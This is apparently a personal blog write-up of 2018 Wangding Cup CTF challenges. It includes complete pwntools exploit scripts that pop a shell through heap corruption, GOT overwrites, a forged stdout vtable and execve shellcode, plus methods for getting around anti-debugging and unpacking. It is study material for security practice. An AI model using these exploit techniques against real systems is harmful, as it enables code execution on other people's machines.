2018网鼎杯
2018网鼎杯
[toc]
今年网鼎杯5月10日开赛。第一届在前年举办,参赛队伍众多,堪称网络安全”奥运会“。谷歌了一圈,第三场的 Pwn Writeup 不齐全。第三场有4道题目。有两道题目比较有趣,写一篇博文记录心得。
Pwn
note
下标溢出+改puts_got+写shellcode。
from pwn import *
import primedbg
context.log_level='debug'
io=process('./deathnote')
if len(sys.argv)>1 and sys.argv[1]=='dbg':
primedbg.p_attach_dbg(io,[0x00011E9])
def cmd(idx):
global io; io.sendlineafter('hoice>>',str(idx))
def add(idx,sz,c):
global io; cmd(1)
io.sendlineafter('Page:',str(idx))
io.sendlineafter('Size:',str(sz))
io.recvuntil('Name:')
io.send(c)
def show(idx):
global io; cmd(3)
io.sendlineafter('Page:',str(idx) )
def free(idx):
global io; cmd(2)
io.sendlineafter('Page:',str(idx))
io.sendlineafter(' me your name:','/bin/sh\x00')
sc1=asm('xor eax, eax') + '\xeb\x1c' # jmp 0x20
sc2=asm('mov al, 0x3b') + '\xeb\x1c' # jmp 0x20
sc3=asm('syscall;ret') + '\x00'
sc4=asm('xor edx, edx')+'\xeb\x9c' # jmp -0x60 (jmp back to sc1)
add(0,4,sc1)
add(0,4,sc2)
add(0,4,sc3)
add(0x100000000-25,4,sc4) #puts_got
#primedbg.p_attach_dbg(p,[0x0001238],{'page':0x2020E0})
show(0x100000000 - 4)
io.interactive()
note2
分析程序
保护选项全部开启。
RELRO等级为FULL,GOT表劫持不可行。 FORTIFY 开启,格式化字符串优化了。
PIE 开启,ELF在内存中的地址随机了。
题目输出内容和第一题 deathnote 差不多。 Write Delete Exit 三个功能。
IDA 静态分析一番后,我发现作者在堆管理相比于第一版的管理机制增加了一些特点,安全性提高。但毕竟低级的 堆管理还是很脆弱的。 以前分析过 glibc 的堆管理源码的人都晓得,代码量巨多、堆块检查多样、数据结构设计的精巧。 这道题目堆管理的机制确实比glibc的低级很多。 好了,不说这么多口水话了,逆向分析审计逻辑。
low_malloc_func 分析。
内存块小于0x70字节的申请从 xmmword_202120 链表中获得。这个链表是一个低级版本的fastbin。
申请空间大于0x70的从另一个空闲bin中获得,这里模拟了glibc unsortedbin,我随手命名成 largebin 了。这里的bin是单链表,遇到足够大的内存块就取下来。 注意最后一行,szie 字段最低位没有置1以示占用。
两个bin都没有则从 topchunk 中获得。
接下来分析 low_free_func。
小块放入fastbin
相邻下一个chunk正好是top时,当前chunk和top合并。末位清零。
相邻下一个chunk不为top且占用时,直接放入largebin
相邻下一个chunk不为top且为占用,合并。
漏洞分析
方才说到 low_malloc 函数有一处分配的 chunk 没有标记占用,此为漏洞点一。 漏洞点二在于 low_free 函数合并相邻下一个chunk时未 unlink 对应的 chunk。这里我利用漏洞点二进行攻击
攻击思路
- 漏洞点二造成UAF、篡改 fd 字段。
- 由于堆管理机制低级,未做有效检查,实现任意地址分配。
- 任意地址读写。
程序开了PIE,堆管理的内存块没有指向 ELF 的符号或 libc 的符号。这里有一点需要注意。
mmap 返回的内存地址与 libc.so 的基地址是一个固定值。
这样通过泄露 chunk 的 fd,来确定基地址。这样一来就确定了 one_gadgets 和 _IO_2_1_stdout 。
GOT表劫持行不通,没有hook可写。IO_FILE 有一处 vtable 函数表,可以篡改。
分析 puts 函数
根据逻辑短路,直接跳进 _IO_sputn() 。 (推荐用 vs code 查看源码。
好了,没有任何检查,直接行动!
__xsputn 偏移8个指针。伪造就完事了。
Pwned!
exp
from pwn import *
from primedbg import *
import sys
p=process('./deathnote2_new')
context.arch='amd64'
fastbin=0x00202120
largebin=0x000202168
def cmd(i):
global p; p.sendlineafter('choice>>',str(i))
def add(sz,c):
global p; cmd(1)
p.sendlineafter('Size:',str(sz))
p.sendafter("Name:",c)
def free(i):
global p; cmd(2)
p.sendlineafter('Page:',str(i))
def show(i):
global p; cmd(3)
p.sendlineafter('Page:',str(i))
# brk points #show 0x001190 ; #add ret 0x0E7B
if len(sys.argv)>1:
attach_dbg_pie(p,[0x0001190 ],{'list':0x0202060,'fastbin':fastbin,'largebin':largebin})
#pause()
p.sendline('/bin/sh')
add(0x20,'#0\n')
add(0x80,'#1\n')
add(0x20,'#2\n')
add(0x20,'#3\n')
add(0x20,'#4\n')
free(3)
free(2)
free(1)
#show(0)
add(0x98,'a'*0x90+'a'*8) #1
show(1)
p.recvuntil('a'*0x98)
heap=u64(p.recv(6).ljust(8,'\x00'))
heap>>=12; heap<<=12
print('heap',hex(heap))
libc=heap-6201344
print(hex(libc))
stdout_vtable=3954424+libc-0x10
vtable=flat([
0,0,0,0,0,0,0,
0x4526a+libc
])
add(0x100,vtable+'\n') #2
fvtable=heap+0x1b0
free(1)
add(0xc0,'a'*0x90+p64(0x40)+p64(stdout_vtable)+'\n') #1
add(0x20,'#3\n') #3
show(0) # 2nd
add(0x20,p64(fvtable)+'\n') #4
# show(0)
p.interactive()
soEasy
真的easy
from pwn import *
from primedbg import *
#context.terminal=['tmux','splitw','-h']
io=process('./pwn')
io.recvuntil('->')
buf_addr=int(io.recv(10),16)
print(hex(buf_addr))
sc = ''
sc += 'push 0x68732f\n'
sc += 'push 0x6e69622f\n'
sc += 'mov ebx, esp\n'
sc += 'xor ecx, ecx\n'
sc += 'xor edx, edx\n'
sc += 'push 0xb\n'
sc += 'pop eax\n'
sc += 'int 0x80\n'
sc=asm(sc)
sc=sc+(0x4c-len(sc))*chr(0x90)+p32(buf_addr)+'\n'
print(len(sc))
io.send(sc)
io.interactive()
pesp
fastbin attack 堆溢出 改写 item_list 指针实现任意地址读写。
from pwn import *
import primedbg
import sys
p=process('./pwn_new')
context.terminal=['tmux','splitw','-h']
team=0x0006020C8
item=0x06020C0
def cmd(i):
global p; p.sendlineafter('Your choice:',str(i))
def add(sz,c):
global p; cmd(2)
p.sendlineafter('f servant name:',str(sz))
p.sendafter('ame of servant:',c)
def edit(i,sz,c):
global p; cmd(3)
p.sendlineafter('servant:',str(i))
p.sendlineafter(' servant name:',str(sz))
p.sendlineafter('ew name of the servnat:',str(c))
def show():
cmd(1)
def free(i):
global p; cmd(4)
p.sendlineafter('servant:',str(i))
add(0x28,'#0\n')
add(0x28,'#1\n') #1
add(0x28,'#2\n') #2
add(0x31,'top\n') #3
free(1)
edit(0,0x100,'a'*0x28+p64(0x31)+p64(item+16*3-8)+'\n')
edit(0,0x28,'/bin/sh\x00') #0
add(0x28,'#1\n')
add(0x28,p64(0x602018)+p64(0x31)+p64(0x0602068)) #4 key #3
show()
if len(sys.argv)>1:
primedbg.attach_dbg(p,[0x0400C4B ],{'team':team})
p.recvuntil('3 : ')
m=u64(p.recv(6).ljust(8,'\x00'))
puts_off=m-p.libc.address
libcbase=m-0x844f0
print('base',hex(libcbase))
pause()
edit(4,0x8,p64(libcbase+0xf1147))
cmd(4)
p.interactive()
Revrese
i_like_pack
checksec 程序明显加壳了。
脱壳失败,据一篇博文说可能upx的特征值被修改了(做完题后考证),导致无法用工具脱壳。无奈另寻出路了。
加了反调试。 gdb 调试用了ptrace ,这里应该关闭了。
% strace ./re
查看系统调用,意料之中。
bypass ptrace 常见方法
- 方法一,不使用ptrace调试器(gdb就是基于ptrace机制)
- 方法二,将ptrace部分patch掉
- 方法三,通过LD_PRELOAD环境变量将可执行文件执行自己写的ptrace函数
- 方法四,通过catch syscall ptrace下,然后修改ptrace返回值
0x400000,64位动态链接ELF的基地址。dump 0x400000-0x611000
简单的乱序数组。 ida 的 0xf0e0 地址处于堆,数据为空,不晓得为何。
gdb 查看内存
很好,写脚本,出flag
mem=[0x00000003, 0x00000004 , 0x00000005, 0x00000006,
0x00000007, 0x00000008 , 0x00000009, 0x0000000a,
0x0000000b, 0x0000000c , 0x00000034, 0x00000035,
0x00000036, 0x00000037 , 0x00000038, 0x00000039,
0x00000000, 0x00000000 , 0x00000000, 0x00000000]
a = [11, 8, 7, 7, 8, 12, 3, 2, 16, 6, 13, 5, 7, 16, 4, 1, 0, 15, 16, 8, 3, 6, 14, 16, 0, 8, 6, 9, 12, 14, 13, 11, 15, 7, 11,14]
for i in range(36):
print(chr(mem[a[i]]+45),end='')
To-do
- upx 脱壳失败原因。
- gdb 反调试原理。
- 调试多进程。
- dump 内存。
- 脱壳技术,ESP定律。
加壳
加壳是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,做一些额外的工作。大多数病毒就是基于此原理。是应用加固的一种手法对原始二进制原文进行加密/隐藏/混淆。
加壳原因:
- 增加破解难度。
- 对于恶意软件来说,绕过杀毒软件查杀。
* 优势: ①、保护自己核心代码算法,提高破解/盗版/二次打包的难度 ②、还可以缓解代码注入/动态调试/内存注入攻击.
- 劣势: ①、影响兼容性 ②、影响程序运行效率.
babyre
这是一道 简单的 .NET 逆向题。使用 dnSpy 动态调试,能看到反编译的源码。
工欲善其事必先利其器,找到合适的利器事半功倍。dnSpy
常见语言的反编译反汇编工具:
C/C++: IDA Pro
.NET: dnSpy 、 JetBrains dotPeek
python: uncompyle6
调试方法:
- 打开程序,点击运行,点 flag 按钮。
- 代码窗口停留在了 messagebox 当中。
- 跳出库函数,来到了 WindowsApp1
- flag 明文写在了 Form1 和 Form1_Load 当中。
Todo
多练一道 .NET 逆向题。
了解工具
https://www.52pojie.cn/forum.php?mod=forumdisplay&fid=4&filter=typeid&typeid=124
SimpleSMC
程序是静态链接编译的
随机输入发生段错误。
导入 FLIRT 签名文件
选择最近的环境。 此处是 ubuntu16.04 。原因如下。
导入签名文件后,左侧的函数名称恢复了大部分。搜索字符串定位到 main。
loc_400bac 用到了参数 v5, v5 是 输入的一部分。相对对v4偏移21个字节。 从伪代码可以看出,当两个函数返回真时,就破解成功了。
点进 loc_400bac 函数,看看有什么宝贝。
0x400bc8 有花指令。 花指令的存在干扰我们阅读反汇编代码,增加破解难度。 我们需要去花。 0x400bbc 直接跳转到 loc_400bc9 ,那直接把 0x400bc8 一个字节 E8 nop 掉(改成 0x90) 。
左侧红棕色可以看出,这部分汇编代码运行不了。因为它构成完整的函数调用。 右键生成函数。 F5 看源码
loc_400aa6 的连续若干字节被改了。text段可改。怪不得叫 SMC (Self Modify Code) 。 应该调用了 mprotect ,去验证猜想。
F5 看源码弹出错误,修改一下 sp 值调整为栈平衡。 (alt + K 快捷键)。
add rsp,4
,故在 leave 之前平衡栈顶,修改后,即可 F5。 但存在花指令干扰。按照刚才的方法去花。再看源码。 可以适当去掉一些跳转指令,可以使得源码更好看。
验证了调用 mprotect 的猜想。 19行 和 sub_41e1b0 进行了异或变换。 注意到 -61=0xc3 ,是 ret指令的机器码。 所以执行到 sub_400bac 函数时, loc_400aa6 函数块的数据早已被修改。 这里的数据需要动态调试获得,或者IDAPython直接改text的内容。
返回到 400bac 函数看看。 a1[0..6] 七个字节异或,这个7个字节的key要猜测。 loc_0x400aa6 是一个完整的函数。那么开头指令必定是 push rbp; mov rbp, rsp; sub rsp ???
对应的指令为 55 48 89 E5 48 83 EC
下断到这里查看内容。
拷贝前六个字节,写脚本得出key
data=[0x13 ,0x79 ,0xc9 ,0x82 ,0x0b ,0xeb,0x89]
fcode=[0x55 ,0x48 ,0x89 ,0xE5 ,0x48 ,0x83 ,0xEC]
key=''
(0..6).each do |i| key<<(fcode[i]^data[i]).chr end
puts key
key=F1@gChe
写进IDAPthon修改 loc_400aa6 处的数据。
key='F1@gChe'
addr=0x400aa6
malloc_addr=0x041E1B0
i=0
while(Byte(addr+i)!=0xc3):
PatchByte(addr+i,Byte(addr+i)^Byte(malloc_addr+i))
i+=1
i=0
while(Byte(addr+i)!=0xc3):
PatchByte(addr+i,Byte(addr+i)^ord(key[i%7]))
i+=1
按d可以转换数据为code,方便我们阅读汇编,美化后,按 F5,完美。
折半异或。逆序异或即可得出flag。 第一次做出这么复杂的逆向。 嗨森 ;-)
解密脚本
#/bin/ruby
key=[ 0x66, 0x0A, 0x07, 0x0B, 0x1D, 0x08, 0x51, 0x38, 0x1F, 0x5C, 0x14, 0x38, 0x30, 0x0A, 0x1A, 0x28, 0x39, 0x59, 0x0C, 0x24, 0x24, 0x22, 0x01, 0x1F, 0x1E, 0x73, 0x1D, 0x3A, 0x08, 0x05, 0x15, 0x0A]
s=''
i=1
until i==32 do (0..i-1).each do |k| key[k+i] ^= key[k] end ; i <<= 1 end
key.each do |i| s<<i.chr end
puts s
#flag{d0_y0u_Kn*w_5mC_F1@gCheCk?}
Todo
- 编译静态链接程序,在IDA中恢复符号表 https://github.com/push0ebp/sig-database
网鼎杯RE考点
- python字节码 自己写一个。
- 花指令去除
- .NET 动态调试。
- 反调试、加壳技术。
逆向例题
推荐:https://capturetheflag.withgoogle.com/#beginners/reversing-rand2
JavisOJ Crackme1 Crackme2
知识点
OD使用教程 https://blog.csdn.net/dyxcome/article/details/91348410
逆向工具https://down.52pojie.cn/Tools/PEtools/
关闭aslr http://www.sweetscape.com/download/010EditorWin64Installer.exe
vmpy https://medium.com/@julianrunnels/google-ctf-reversing-a-program-made-of-emojis-b4c8af473278
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。
文章标题:2018网鼎杯
本文作者:枫云李
发布时间:2020-04-15, 00:00:00
最后更新:2020-04-21, 22:11:24
原始链接:https://primelyw.github.io/2020/04/15/2018%E7%BD%91%E9%BC%8E%E6%9D%AF/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。